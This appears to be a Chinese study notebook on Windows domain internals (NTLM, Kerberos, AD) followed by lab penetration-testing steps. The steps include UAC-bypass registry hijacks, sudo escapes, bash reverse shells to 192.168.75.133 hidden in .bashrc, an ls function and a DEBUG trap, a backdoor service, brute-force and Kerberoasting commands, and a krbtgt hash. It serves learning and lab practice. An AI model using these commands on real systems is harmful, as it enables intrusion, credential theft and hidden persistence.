内网安全

外网通常指因特网(Internet),设备只要接入公网,即可访问部署在互联网中的各类服务,访问范围相对开放。
内网则是指组织内部的局域网络环境,设备需要接入该局域网或通过相应的认证与授权后,才能访问内网中的业务系统。
在网络隔离机制下,公网设备默认无法直接访问内网资源。内网设备若位于非军事区(DWZ/DMZ)或已配置允许出网策略,则可以在受控条件下访问外网资源;而外网设备若需要访问内网服务,一般需要通过 VPN 等安全通道接入内网,在完成身份认证与权限控制后,才能进行访问。

内网基础

工作组

工作组简单理解就是根据工作特性不同而划分的计算机组。在一个局域网中,不同的计算机可以按照功能或部门的不同列入不同的工作组,例如销售部的计算机列入“销售部”工作组。当想要访问某个部门的资源时,只要在“网络”中单击部门的工作组名就可以看到其下所有的计算机,从而提升了网络中的管理层次

在control系统中更改设置选择更改即可看到工作组,可以修改工作组名来加入不同的工作组,如果工作组名在网络中不存在,那么就相当于新建了一个工作组。在网络中工作组是可以自由进入和退出的,其中的所有计算机都是平等的,工作组没有集中管理功能。

域是一个有安全边界的计算机集合,域通过安全边界来隔离本域和外部资源。用户如果想要访问域内资源则需要以合法的权限登录域。而登录域则需要经过“域内保安”-域控制器(DC)的审核,域控负责对连入的计算机和用户进行验证,DC本身存有整个域中关键信息(包括账号、密码、计算机名等)的数据库,一个域可有多个域控制器,各域控制器的地位平等,并会互相同步信息,管理员可在任意一台域控制器上更新域中的信息。DC的关键服务:Kerberos认证(用于用户身份验证)DNS服务(解析域内资源名称)SYSVOL共享(存储组策略和脚本)
域用户:当计算机加入域时,域的全剧组Domain Users会被添加到计算机本地User组中,因此域用户可以在域中的任何一台计算机上登录
计算机账户:在于域环境中,每台加入域的计算机会在AD中自动创建一个对应的计算机账户,其名称通常为“计算机名$”,该计算机账户用于标识计算机在域中的身份,并参与域内的身份认证(如Kerberos认证)。在本地计算机上,SYSTEM(本地系统)账户具有最高权限,当以SYSTEM权限运行进程时,该进程在访问域资源时,会议该计算机账户的身份进行身份验证,从而能够在域内执行相应的操作。

域工作流程
用户登录:输入域账户(user@lain.com)本地计算机将认证请求转发至DC,DC验证账户密码(验证该计算机是否属于本域、登录账号是否存在、密码是否正确)颁发Kerberos票据(TGT)
资源访问:用户访问共享文件夹时,系统使用Kerberos票据向DC申请服务票据(ST),文件服务器验证票据后授权访问
策略应用:DC通过组策略(GPO)下发安全设置(如密码复杂度、防火墙规则),客户端开机时自动从最近的DC同步策略

单域:一般情况下至少存在两台域服务器,分别为DC和备份DC。活动目录(AD,域环境中集中管理用户、设备及权限,并提供身份认证服务的目录系统)的数据库是存储于DC中的,备份DC的作用是当主域瘫痪时可以替代主域控直至恢复瘫痪的DC
父域和子域:出于管理等需求在网络中划分多个域,第一个域被称为父域,各部分的域被称为子域。例如父域为lain.com那么子域就为*.lain.com
域树:域树是多个域通过信任关系组成的集合。建立信任关系的两个域可以互相访问。域树内的父域和子域不仅可以按需相互管理,还可以跨网络分配文件等资源,在一个域树中,父域可以拥有多个子域,子域也只能以父域的名字作为后缀名。
域森林:域森林是指多个域树建立信任关系组成的集合,例如某公司有域树lain.com,原来就有自己的域树lain.top,而lain.com无法挂在lain.top域树下,所以需要通过建立信任关系来构成域森林。通过域树之间的信任关系,可以管理和使用整个域森林中的资源。
域名服务器:一般来说DC就是DNS服务器,用于实现域名和IP地址的转换。

身份认证NTLM

NTLM主要用于Windows本地和工作组环境的认证,域环境首选Kerberos认证,但也可以使用NTLM。
NTLM hash的产生:password -> Unicode转换 -> md4加密 得到NTLM Hash
Windows本地认证:
1.Windows本地登录时,会调用winlogon.exe进程(也就是常见的登录框)接收用户的密码
2.密码会被传送给进程lsass.exe,该进程会先在内存中存储一份明文密码,然后将明文密码加密为NTLM Hash后,与Windows本地的SAM数据库(%SystemRoot%\system32\config\SAM)中该用户的NTLM Hash对比
3.如果一致则通过认证(Windows Vista及以上系统,lsass.exe默认不存储明文,只存储NTLM Hash)

工作组环境:
1.客户端向服务端发送本机的一些信息
2.服务端接收后,生成一个随机的16位Challenge(挑战随机数),本地存储后将Challenge返回给客户端
3.客户端接收Challenge后,使用用户输入密码的NTLM Hash对Challenge进行加密生成response,将response发送给服务端
4.服务端接收response,使用数据库中对应用户的NTLM Hash对之前存储的Challenge进行加密,得到的结果与接收的Response进行对比,如果一致则通过认证

域环境:
1.首先客户端向服务端发送用户名以及本机的一些信息
2.服务端接收后,生成一个随机的16位Challenge(挑战随机数),本地存储后将Challenge返回给客户端
3.客户端接收Challenge后,使用用户输入密码的NTLM Hash对Challenge进行加密生成response,将response发送给服务端
4.服务端将用户名Challenge Response发送给DC
5.DC接收后用本地数据库里的NTLM Hash加密Challenge,将结果与Response对比,并将结果发送给服务端
6.服务端将结果返回给客户端

身份认证(Kerberos)

Kerberos主要用于域环境认证,是基于票据的认证方式
KDC(安检中心):密钥分发中心,是DC的核心组件之一,包含两个核心组件AS TGS
AS(身份验证窗口):Kerberos认证服务,负责接收用户的登录请求,验证用户身份后生成TGT
TGS(办证窗口):票据授权服务,接收用户提交的TGT和“目标服务请求”,验证TGT合法性后,生成对应服务的票据ST
TGT(临时身份证):票据授予票据,用于向KDC和TGS申请访问具体服务的票据ST
ST(房间门禁卡):服务票据,也叫TGT票据,用于向目标服务提交ST,验证ST合法性后允许用户访问资源
服务账户(房间):用于运行服务、进程、用户程序的专用账户
krbtgt账户(前台印章):Kerberos认证体系的核心内置账户,相当于Kerberos认证中KDC的服务账户
个人账户(住客本人):供给个人登录的账户

用户登录获取TGT(AS-REQ认证服务请求)
1.用户登录时,向KDC发送输入的用户名和经输入的密码派生出的密钥加密的时间戳和客户端信息(预认证数据)
2.KDC接收后,向AD数据库中寻找对应用户名的密码,并用该密码派生出的密钥解密预认证数据后,若解密成功且时间戳正确,则通过认证。
3.通过验证后,KDC利用用户密码派生的密钥加密AS Session Key,然后生成将用户信息和AS Session Key原文使用krbtgt用户的密钥加密生成TGT,并将AS Session Key密文和TGT返回给客户端
4.客户端接收后,通过自己的密码解密AS Session Key并将AS Session Key原文和TGT缓存到本地
获取ST(TGS-REQ票据授予服务请求)
1.用户向TGS请求ST,请求包含经AS Session Key加密的Authenticator(包含时间戳和客户端ID等信息)、请求访问的服务名(SPN)、TGT(包含用户信息)
2.TGS接收后,使用krbtgt用户的密钥对TGT进行解密,得到AS Session Key原文,用其解密Authenticator,若验证时间戳和客户端ID信息成功则通过认证
3.通过认证后,TGS利用AS Session Key加密的Service Session Key,并用服务账户密钥加密请求用户的信息和ServiceSessionKey生成ST,并将ServiceSessionKey密文和ST返回给客户端
使用ST(AP-REQ应用请求):利用ST访问服务

精简版:Kerberos只干三件事
1.证明你是谁(登录)->拿TGT(身份证)
电脑登录时输入账号密码,这时向KDC发送用户名和加密数据(包含时间戳)。KDC这时去AD里面找存储的登录账号的密码派生的密钥(后称其为密钥A),解密接收到的数据,正确解密(时间正常)说明密码正确。KDC这时发送回来AS Session Key(密钥A加密)和TGT(用krbtgt密钥,后称其为密钥B,加密包含身份信息和AS Session Key也就是身份证)。收到后对AS Session Key进行解密缓存TGT。
2.申请访问某个服务 ->拿ST(通行证)
向TGS发送TGT、Authenticator(用AS Session Key加密包含时间戳和客户端ID)、要访问的服务(SPN)。TGS用密钥B解密TGT得到身份信息、AS Session Key,然后用密钥A解密Authenticator验证时间戳,然后发ST(用服务账户密钥加密)
3.拿ST去访问服务
发送ST和Authenticator给服务器。服务器用自己的密钥解密ST验证身份信息和Authenticator验证时间戳,最终确认身份放行访问。

LDAP

在域内LDAP是用来访问AD数据库的目录服务协议。AD DS域服务器通过使用LDAP名称路径表示对象在AD数据库中的位置。管理员使用LDAP协议来访问活动目录中的对象,LDAP通过“命令路径”定位对象在数据库中的位置,即使用标识名和相对标识名标识对象。

LDAP协议认证支持多种验证机制,需要客户端和服务端商议使用哪种验证机制。
LDAP常见认证机制:匿名认证、简单认证、SASL认证

LDAP协议的身份验证流程

1.Client首先发送bindRequest请求给LDAP Server,指定使用GSSAPI认证(GSSAPI 是一种通用的安全认证接口,在LDAP中作为SASL机制的一种实现,通常基于Kerberos协议工作,通过票据机制完成身份验证,实现安全的单点登录,并避免明文密码传输)并使用NTLM进行身份验证

2.Server进行bind相应,包括产生的Challenge

3.Client发送NTLMSSP_AUTH认证,请求种包括用户名、认证信息

4.Server认证结果响应
响应successClient可以继续查询操作

响应invalidCredentials之后Client发送unbindRequest结束本轮请求

活动目录

活动目录(AD)是指域环境中提供目录服务的组件,目录是用于存储有关网络对象的信息,目录服务是指帮助用户快速从目录中找到其所需要的信息,而活动目录实现了目录服务且存在集中式管理机制。在活动目录中存在逻辑架构,包括组织单元(OU)、域、域树、域森林。同一域树的所有域共享一个活动目录,其中的数据分散存储在各个域中,且每个域只存储该域的数据。比如有一个名为M的集团,下面存在A、B、C三个子公司,子公司下包含各个部门,那么就可以以M集团(域森林)、子公司(域树)、部门(域)、员工(域用户)为结构。活动目录的这种层次结构使企业网络具有极强的可扩展性,便于管理以及目录定位。

域环境,必须部署AD服务,安装了AD域服务的服务器即成为DC,用于集中管理域内的用户、计算机以及安全策略。AD的核心是其目录数据库,该数据库存储在域控制器上,因此DC是整个域环境的管理中心。当在AD中对某个用户账号进行修改后,这些更改会对域内所有加入该域的计算机生效,从而实现统一身份认证与集中管理。
DC负责域内用户的身份认证域授权,例如用户登录验证
AD用于对域内的用户、计算机、组以及其他资源进行集中管理与统一维护

安全域

划分安全域是将一组安全等级相同的计算机划入同一网段,其中的计算机拥有相同的网络边界,并在网络边界上通过部署防火墙来实现对其他安全域的访问控制策略(ACL),从而提升内网安全防护等级。

安全域设计一般将网络分为三个域:内网、DMZ区、外网,为了提高安全性可以在域中增加安全设备(IDS、IPS、EDR)等来增强安全性
DMZ区是为了解决安装防火墙后外部网络不能访问内部服务器而设立的一个非安全系统和安全系统之间的缓冲区。其中部署了公开的业务系统(Web服务器、邮件服务器等)和安全防护设备(IDS、防病毒、WAF等),达到防护内网又满足需求的效果。

域权限

在域内由于账号太多,管理员在为其分配权限时会浪费许多时间,便有了安全组的概念,将处于同一权限的账户放置在同一组中,而管理员只需要设置组的访问权限就可以管理组内的一大批账户,可以大大简化网络维护和管理工作,域内的一些权限组
域本地组:成员可以来自任意域,权限只作用于本域资源(有一台文件服务器放在A域,其他域用户可以通过加入域本地组实现对A域资源的控制)
全域组:成员只能来自本域,可以被授权访问其他域的资源(财务部用户组,成员必须是本地域,但是拥有访问其他域资源的权限)
通用组:成员可以来自任意域,可以访问任意域资源(用于跨域环境的中同一管理)

AGDLP原则
A:用户
G:加入全局组
DL:加入域本地组
P:分配权限
U:通用组
用户(A)-> 加入全局组(G)-> 全局组加入域本地组(DL)-> 域本地组被赋予权限(P)
跨域:用户(A)-> 加入全局组(G)-> 全局组加入通用组(U)-> 通用组加入域本地组(DL)-> 域本地组被赋予权限(P)
只有DL(域本地组)直接绑定资源权限,为什么必须DL最合适?
用户直接赋权:人员变动会导致权限混乱
全剧组赋权当资源很多时,权限分散、不好管理
通用组赋权设计全局目录(GC)复制修改频繁会影响性能
DL权限只作用域本域资源、可以包含任意域的成员非常适合作为权限出口

内网渗透

信息搜集

判断是否存在域:net config workstation
查看DC:DC主机通常会开启88(Kerberos)389(LDAP)端口使用fscan等工具进行扫描发现
查看域管:域管理员一个高权限组(net group “domain admins” /domain)域控制器(net group “domain controllers” /domain)

查看域计算机的登录情况:PVEFindADUser.exe -current <域>\<用户>(PVEFindADUser查询单个用户信息、BloodHoundAD关系分析两个都是AD查询工具)

权限提升

Windows

DCSync

在于域内不同DC之间会进行数据同步复制(默认每15分钟同步),当一个DC从另一个DC同步数据时,发起请求的一方会通过目录复制协议(MS-DRSR)来对另一台DC种的域用户密码进行复制。DCSync 攻击的本质是攻击者模拟域控制器,向真实 DC 发起复制请求,从而获取域内用户的凭据数据(如 NTLM Hash),甚至包括 krbtgt 账户密钥,实现对整个域的完全控制。
前提条件:拥有域复制权限,同时需要能够通过 RPC 访问域控制器
通常默认授予 Domain Admins、Enterprise Admins 以及域控制器计算机账户等高权限主体
由于 DCSync 利用了 Windows 的 RPC 机制,通过目录复制协议 MS-DRSR 与域控制器通信,因此攻击者无需登录域控主机或在其上落地文件即可获取凭据数据。这种方式减少了对目标主机的直接操作,从而降低被EDR检测风险。

Windows RPC:是一种远程过程调用机制,允许一台主机像调用本地函数一样调用另一台主机上的程序功能。其核心思想是把“远程调用”抽象为“本地函数调用”
工作流程:
1.客户端首先连接 TCP 135 端口(RPC Endpoint Mapper),用于查询目标服务所在端口。
2.RPC Endpoint Mapper 返回目标服务绑定的动态端口(如 TCP 49672)。
3.客户端根据返回结果,连接TCP 49672高位端口。
4.客户端通过该连接调用远程服务接口,实现具体功能(如数据复制、远程管理等)。

CS权限提升

利用CS进行主机木马生成,落地文件artifact_x64.exe

上传到目标主机进行执行

主机上线CS,出现一个Beacon会话
网络层面会进行周期性的心跳通信,主机侧当Beacon执行命令的时候,主机侧会生成cmd然后执行命令将执行结果通过管道(pipe)重定向回到Beacon。

进行权限提升

获取到System权限

更改注册表ms-setting绕过UAC执行高权限

当攻击者已获取 Administrator 权限但仍受 UAC 限制(处于 Medium Integrity)时,可通过 UAC 绕过技术提升至 High Integrity。在 Windows 中,部分系统程序被标记为 autoElevate,这些程序在启动时会自动以高完整性运行且不会触发 UAC 提示。如果这些程序在执行过程中依赖用户可控的配置(如特定注册表项)来决定执行路径,攻击者即可通过劫持相关配置,使其在高权限上下文中执行指定命令,从而实现 UAC 绕过。

核心原理:fodhelper劫持:C:\Windows\System32\fodhelper.exe是 Windows 用于管理可选功能的程序。它具有两个关键特性
1.标记为Auto-Elevate
2.启动时会检查HKEY_CURRENT_USER (HKCU) 软件树中关于 ms-settings 协议的映射。(ms-settings 协议用于指定某类请求的处理程序,而 fodhelper.exe 在执行过程中会解析该协议,并根据注册表中的映射关系决定调用哪个程序。)

创建一个新用户加入管理员组

# 创建一个名为 testuser 的用户,密码为 Password123
net user testuser Password123 /add
# 将该用户加入管理员组
net localgroup administrators testuser /add

进行注册表劫持

# 1. 创建 ms-settings 协议的类路径
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force

# 2. 设置 DelegateExecute 键值(必须存在,但留空,用于触发劫持)
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force

# 3. 将 (Default) 键指向你想要执行的恶意命令
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(Default)" -Value "cmd.exe /c start cmd.exe" -Force

Win7无ms-setting可以换成mscfile进行
HKCU\Software\Classes\mscfile\shell\open\command 注册表项定义了 .msc 文件的打开方式。当该项被修改为执行 cmd 后,eventvwr.exe 在启动过程中调用 .msc 文件时,会按照当前用户注册表中的映射关系执行 cmd,从而实现命令执行。
# 创建 mscfile 的 shell 结构
New-Item -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Force

# 将默认值指向你想运行的程序
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(Default)" -Value "cmd.exe /c start cmd.exe" -Force

# 启动 Windows 7 自带的事件查看器
Start-Process "C:\Windows\System32\eventvwr.exe"

mscfile 用于定义 .msc 文件的打开方式,即指定打开该类型文件时调用的处理程序;而 ms-settings 则用于定义当 ms-settings 协议被解析时由哪个程序进行处理。在相关注册表项被劫持的情况下,这些处理程序可以被替换为攻击者指定的命令,从而实现高权限执行。

Linux

CVE-2016-5195 Dirty Cow

影响范围:Linux Kernel >= 2.6.22开始就受影响了直到2016年10月18日才修复

一句话原理:利用 Linux 中 Copy-On-Write 机制的竞态条件,通过同时触发写操作和 madvise() 内存回收,使内核在“复制”和“写入”之间出现状态不一致,从而将数据错误地写入原本只读的内存区域,实现权限提升。

Copy-On-Write(写时复制技术)
Linux为了节省内存,会让进程A和进程B共享一块内存(只读),当某个进程要写时系统复制一份内存再写即写时复制。(不能直接修改原数据必须先复制再修改)
问题:“复制”和“写入”之间存在时间差,也就存在竞态条件
触发写:尝试修改只读文件对应的内存
触发内存回收:调用madvise内存回收
攻击者通过在高频循环中同时触发写操作和 madvise 内存回收操作,使内核在处理页复制与页失效之间产生竞态条件,导致页表状态不一致,“页被复制”和“页被标记为失效”之间的极短窗口内,状态可能被另一个线程干扰。导致写操作错误地应用到原始只读页,而不是按COW机制写入复制后的页。一个没有特权的本地用户可以利用这个缺陷来获得对其他只读内存映射的写权限,从而获取到更高的权限。

权限提升检测工具:https://github.com/The-Z-Labs/linux-exploit-suggester.git

poc1:https://github.com/gbonacini/CVE-2016-5195复现失败

poc2:https://github.com/FireFart/dirtycow复现失败

对POC进行编译,脚本运行成功了但是cat /etc/passwd并没有发现新增用户,复现失败

正常复现成功会出现新增的高权限用户

Sudo Scp权限提升

前提条件:用户可以以 root 执行 scpsudo不限制参数、可以指定自定义程序路径、scp 在执行时会调用该程序

SCP有一个-S参数用于指定加密传输时使用的程序(默认是ssh)由于scp会以root权限运行这个指定的程序,可以通过编写简单的恶意脚本来通过它执行shell
调用链:sudo → 以 root 执行 scp → scp 调用 ssh → ssh 被替换 → 执行恶意程序

visudo进行一个配置,实现用户可以root执行scp

构造恶意文件,

echo 'bash -i >& /dev/tcp/192.168.75.133/4444 0>&1' > /tmp/shell.sh
chmod +x /tmp/shell.sh
sudo /usr/bin/scp -S /tmp/shell.sh x y:

执行SCP的时候以root身份执行,SCP本身默认调用SSH但是这里-S指定调用恶意shell脚本,导致root用户执行了反弹shell

Sudo Awk提权

前提条件:用户可以以 root 执行 awksudo不限制参数、awk 版本支持 system() 或等效命令执行、环境未做严格限制

awk是Linux中文本处理三剑客之一,内置了system()函数,system作为命令执行中的高危函数允许执行任意命令。当通过sudo运行awk时,其派生的子进程会继承Root权限。

赋予以root用户执行awk权限

使用awk调用内置system函数执行/bin/sh,此时会以root身份执行获得shell

sudo awk 'BEGIN {system("/bin/sh")}'
BEGIN:在读取任何输入之前进行
system("/bin/sh")启动shell

Sudo Find提权

前提条件:用户可以以 root 执行 findsudo不限制参数、环境未做严格限制

find 是 Linux 中用于文件查找的工具,支持通过-exec参数在查找过程中执行外部命令。当通过sudo运行find时,会以root权限执行-exec。

赋予以root用户执行find权限

使用find命令的-exec参数执行命令/bin/sh,此时会以root身份执行获得shell

sudo find . -exec /bin/sh \; -quit
.在当前目录搜索
-exec /bin/sh对搜索结果执行shell
\;-exec参数的固定结束符号
-quit:找到第一个结果后立即退出

Sudo Apt权限提升

前提:用户可以通过 sudo 以 root 权限执行 apt/apt-get,且未限制其参数;同时系统未对环境变量(如 PAGER、EDITOR)进行严格清理,且允许调用外部可交互程序(如 less),从而可以利用其命令执行能力实现提权。

apt-get是传统的命令行工具用于安装软件更新软件,子命令中changelog用于查看某个软件包的更新日志,从软件源下载apt包的changelog把内容输出出来的时候,因为内容过长apt-get会调用分页器来显示,默认通常是less(root权限)是一个可交互程序,利用其命令执行功能启动 shell,从而获取 root 权限。

赋予以root用户执行apt的权限

sudo apt-get changelog apt
!/bin/sh

CVE-2021-3156 sudo提权

前提:sudo版本在1.8.2到1.9.5p1之间,即便当前用户不在sudoers列表中,也可以直接获取root权限。

当执行sudoedit -s(带有-s或-i参数)时,sudo会对命令行参数中的反斜杠\进行转义处理。由于代码逻辑错误,如果参数以单个反斜杠结尾,sudo会错误地越界写入内存,导致堆溢出。
用户输入sudoedit -s ‘AAAA\’,sudo内部会先计算长度知道要分配多大内存,再拷贝+处理转义,把处理后的内容写进内存。但是代码层面存在bug,AAAA\计算长度的时候会认为最后的\是转义符但后面没有字符\没被正确计入长度,计算长度为4,实际拷贝字符串时程序没有正确处理孤立\还是视为普通字符,分配内存4字节,实际写入5字节,导致了堆缓冲区溢出。

查看sudo版本写个探测语句

sudoedit -s '\' $(python3 -c 'print("A"*1000)')
如果返回 malloc(): invalid size (unsorted) 或 Segmentation fault (段错误),说明系统存在漏洞。
如果返回 usage: sudoedit ...,说明系统可能已修复。

复现过程中一直未成功,爆破也没有

权限维持+持久化

Windows

regedit权限维持

计划任务程序维持

自启动服务权限维持

新建一个服务,让其执行你的后门程序,启动服务每次开机自动运行

sc create backdoor binPath= "C:\shell.exe" start= auto
sc start backdoor

Linux

SSHD软链接后门(复现失败)

前提PAM配置不当存在:auth sufficient pam_rootok.so
SSHD服务开启PAM认证机制
sshd 确实会根据 argv[0]去读 /etc/pam.d/su

在Linux中软链接相当于Windows下的快捷方式,而Linux执行程序时依赖的是路径解析+文件指向,因此可以通过软链接劫持程序的执行路径。
路径解析
当输入命令sshd时系统不会凭空知道sshd是啥,系统会查找PATH环境变量可能是/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin系统会顺序去查找最终找到/usr/sbin/sshd就是路径解析过程
文件指向一般分为两种情况
普通文件:/user/sbin/sshd是ELF可执行文件就会直接执行
软链接:/user/sbin/sshd -> /tmp/backdoor系统会顺着软链接找到真实文件再执行
这个过程就是文件指向

在Linux中几乎所有的登录认证(SSH、su、sudo)都通过PAM模块完成,当一个程序比如sshd启动并需要认证用户时,它会寻找与自己程序名同名的配置文件。
默认情况下,执行 /usr/sbin/sshd 时,PAM 会读取 /etc/pam.d/sshd。这个文件通常包含严格的密码校验规则。
当创建软链接 ln -sf /usr/sbin/sshd /usr/local/su 时,实际上是给 sshd 穿了一层 su 的外衣。
当运行 /usr/local/su -oPort=12345 时,系统内核运行的是 sshd 的代码,但进程名变成了 su。此时,它会去读取 /etc/pam.d/su 这一份配置文件进行认证。如果PAM配置中出现pam.rootok.so模块则会让uid为0的用户即root用户可以直接通过认证而不需要输入密码。

创建SSHD软链接
ln -sf /usr/sbin/sshd /tmp/su
启动后门监听
/tmp/su -oPort=12345
远程连接,无需密码直接回车即可登录root账户
ssh root@192.168.75.135 -p 12345

某些老版本的 sshd 会直接通过 argv[0] 来决定调用哪个 PAM 配置文件,新版的sshd固定了服务名称添加软链接后读取的PAM配置文件还是/etc/pam.d/sshd

ssh密钥后门

通过向.ssh/authorized_keys中写入自己的公钥实现免密ssh

Linux bash后门

Bash在启动时,会自动加载一系列配置文件。
常见的加载顺序
/etc/profile
~/.bash_profile
~/.bash_login
~/.profile
~/.bashrc
将恶意命令写进这些文件,当用户打开终端的时候就会自动执行恶意命令反弹shell实现权限维持操作

向.bashrc中写入反弹shell命令,当用户打开终端的时候bash读取.bashrc自动执行反弹shell主动连接攻击者

bash -i >& /dev/tcp/192.168.75.133/4444 0>&1

行为触发型Linux Bash后门也是向.bashrc中写入反弹shell命令,这里使用伪装函数,当用户执行ls时表面正常显示文件背地里会触发反弹shell

unalias ls 2>/dev/null //Aliac的优先级高于Function,当bash看到ls(){时如果ls已经被定义为别名就会尝试把函数名替换掉,导致语法崩溃,所以先取消可能存在的别名防止报错。
ls() {
    /bin/ls "$@"
    bash -i >& /dev/tcp/192.168.75.133/4444 0>&1
}

利用Debug Trap后门,每执行一条命令都会触发反弹shell
Bash执行流程:读取命令 -> 触发 DEBUG trap -> 执行命令

trap ‘bash -i >& /dev/tcp/192.168.75.133/4444 0>&1’ DEBUG

横向移动

哈希传递攻击PTH

原理:哈希传递是针对NTLM协议的攻击技术,因为NTML协议验证身份时无需传输明文密码,攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码。
PTH:拿到NTLM Hash之后直接构造认证数据包,使系统在发起网络认证请求时直接使用该 Hash 参与计算,从而通过远程主机或服务的身份验证认证成功后即可冒充该用户去访问其他主机的资源,实现横向
前面提到了NTLM的认证机制,最常见的就是通过lsass.exe进程内存中直接抓取NTML Hash
老生常谈的内存抓取工具mimikatz

这就抓到了GOD\Administrator也就是DC的域管账号

同样如果CS上线了主机可以在CS内进行mimikatz运行得到NTML Hash然后直接进行PTH,测试访问DC的C盘目录

一些其他支持PTH的工具

impacket:smbexec、wmiexec模块
MSF
:使用PTH进行单命令执行(auxiliary/admin/smb/psexec_command)、PTH获取meterpreter会话(MSF建立在内存之上的高交互式会话,可以通过会话执行命令、管理文件、提权、抓取凭证、横向移动)

票据传递攻击PTT

前面介绍了Kerberos的具体原理,用户访问服务需要的ST(票据)需要用户使用KDC拿krbtgt密钥加密用户信息和AS Session Key得到的TGT向TGS进行ST的申请。PTT攻击是通过窃取并复用已有的 Kerberos 票据来进行身份冒用。这些票据可以来源于用户正常登录后在内存中存在的合法票据,也可以是攻击者通过黄金票据或白银票据技术伪造生成的票

黄金票据:当拥有krbtgt账户的密钥,可以伪造任意TGT,进而伪造任意用户身份、以任意身份申请ST通过ST访问任意服务。

白银票据:拥有某个服务账户密钥,通过密钥构造ST,从而访问指定服务资源,无需与KDC交互。

黄金票据复现:主机上线且提权至System权限

对上线主机进行logonpasswords导出域管的NTLM Hash

利用域管的NTLM Hash进行PTH伪造身份

查询所在域,域控主机地址

再通过 DCSync 技术从域控同步 krbtgt 账户的 NTLM Hash
DCSync 是一种利用 Active Directory 域复制机制的攻击技术。在正常的 AD 环境中,域控制器之间会通过 MS-DRSR 协议进行数据复制,包括用户凭证、NTLM Hash 等敏感信息。攻击者在获取域高权限后,可以模拟一台域控制器,向真实域控发起数据同步请求,从而获取指定账户(如 krbtgt)的 NTLM Hash。该攻击需要具备域复制权限,并能够与域控进行网络通信。
首先横向到DC将mimikatz复制至DC主机进行dcsync技术然后导出krbtgt账户的hash和SID
2f6dc0efc800d680625388b7b8e7a4b1
S-1-5-21-3713599723-2243236072-2252439450

回到CS进行Gold Ticket的构造,最终成功注入黄金票据到当前对话。因为只要使用 krbtgt 密钥伪造合法的 TGT,无论账户是否真实存在,都可以向 TGS 请求任意服务的 ST,所以目前获取了对任意服务的访问权限。

疑问点

1.为什么黄金票据不对用户账户信息进行验证?

Kerberos的验证是环环相扣的,只要当用户账户密码得到了验证之后AS才会发送TGT给用户,用户拿着TGT找TGS验证获取ST。TGS 在处理请求时,并不会再次向域控查询用户账户信息,而是仅验证 TGT 是否由 krbtgt 密钥正确签名,一旦签名校验通过,TGS 就会完全信任票据中的身份与权限信息。在黄金票据攻击中,攻击者通过 DCSync 获取 krbtgt 密钥,自行伪造合法签名的 TGT,并在其中构造任意用户及权限信息(PAC),从而绕过了对真实账户的校验过程。

2.为什么黄金票据这里没有体现对Authentictor的伪造和发送?

Kerberos验证中我们发现用户发送给TGS的不止是TGT还有Authentictor,TGT 用于证明用户身份与权限(由 krbtgt 签名保证),而 Authenticator 用于防止重放攻击,通过时间戳验证请求的时效性。黄金票据本身没有体现出对Authentitor进行的伪造,这是因为TGS本身核心是对TGT的合法性校验而Authentictor只是为了防止重放攻击和身份伪造,因此当我们进行黄金票据攻击构造TGT的时候会CS或者mimikatz会自动读取TGT中的Session Key生成对应的Authentictor无需手动构造。

3.Authentictor需要AS Session Key加密如何解决?

本身AS Session Key并不是说一定是AS发的才可以,在黄金票据攻击中,攻击者在伪造 TGT 时,会自行生成一个 Session Key,并将其嵌入到 TGT 结构中。客户端同样持有该 Session Key,因此可以使用该 Key 生成合法的 Authenticator,从而完成整个认证流程。

Psexec技术横向移动

wmiexec技术横向

爆破/枚举

Windows

域用户枚举

Kerberos认证的时候发送AS-REQ请求时,用户不存在与密码错误会返回不同的错误码KDC_ERR_C_PRINCIPAL_UNKNOWN(用户不存在); KDC_ERR_PREAUTH_REQUIRED(用户存在且启用预认证),根据这个特性就可以爆破域内用户,这里使用kerbrute来进行,枚举失败了可能是我的实验环境下Kerberos 返回统一错误,没有配置预认证等问题
./kerbrute_windows_amd64 userenum –dc 192.168.52.138 -d GOD.LOCAL users.txt -t 10

域用户密码爆破

当爆破出账户之后多账户对单密码进行爆破
./kerbrute_windows_amd64 passwordspray –dc 192.168.52.138 -d GOD.LOCAL users.txt Charlotte0803

SMB爆破

SMB是一种网络通信协议,用于在网络中资源共享,例如:文件共享、打印机共享、远程管理、身份认证,通常SMB服务开在445端口。
通常的工作流程:客户端连接SMB服务,发起认证(NTLM/Kerberos),访问共享资源
永恒之蓝就通过SMB进行利用,SMBv1 在处理特制数据包时存在内存越界(缓冲区溢出),触发内存错误后即可执行任意命令。

SMB爆破本质是通过 SMB 协议对目标主机的 NTLM 认证接口进行用户名和密码的批量验证,既可以针对本地账户,也可以针对域账户(取决于目标是否加入域)。

LDAP爆破

RDP爆破

利用hydra指定RDP协议进行爆破

AS-REP Roasting

正常客户端发送AS-REQ必须带加密时间戳,KDC验证成功,返回AS-REP包含TGT
但是某些用户未开启预验证,攻击者发送AS-REQ(无预验证)KDC只检查用户是否存在,存在就会直接返回AS-REP包含TGT和一段“用户密钥”加密的数据,TGT是由krbtgt加密对其爆破不太可能,所以主要是爆破这一段用“用户密钥”加密的数据。
获取AS-REP:GetNPUsers.py 域名/ -dc-ip IP -usersfile users.txt -format hashcat -outputfile asrep.txt
爆破密码:hashcat -m 18200 –force -a 0 ‘<哈希>’ <字典>

Kerberosting

ST是由服务账户的密码哈希进行加密的,所以可以通过爆破来获取服务账户的密码,比如sqlserver可能会存在的弱密码
在AD种服务账户=用来运行服务,并注册了SPN的账户,比如访问数据库db.test.local:1433客户端实际会构造一个SPN:MSSQLSvc/db.test.local:1433
获取ST: GetUserSPNs.py -dc-ip <域控ip> <域名>/<用户>:<密码> -outputfile tgs
爆破: john --wordlist=<字典> tgs

Linux

sshpass爆破

通过sshpass写shell脚本进行自动化ssh爆破

for pwd in $(cat pass.txt); do
    echo "正在尝试密码: $pwd"
    sshpass -p "$pwd" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 root@<目标IP> "whoami" &> /dev/null
    
    if [ $? -eq 0 ]; then
        echo "成功!匹配到登录凭证: $pwd"
        break
    fi
done

凭证访问

Windows

mimikatz访问Lsass内存

MSF工具访问LSASS进程

使用MSFvenom生成木马
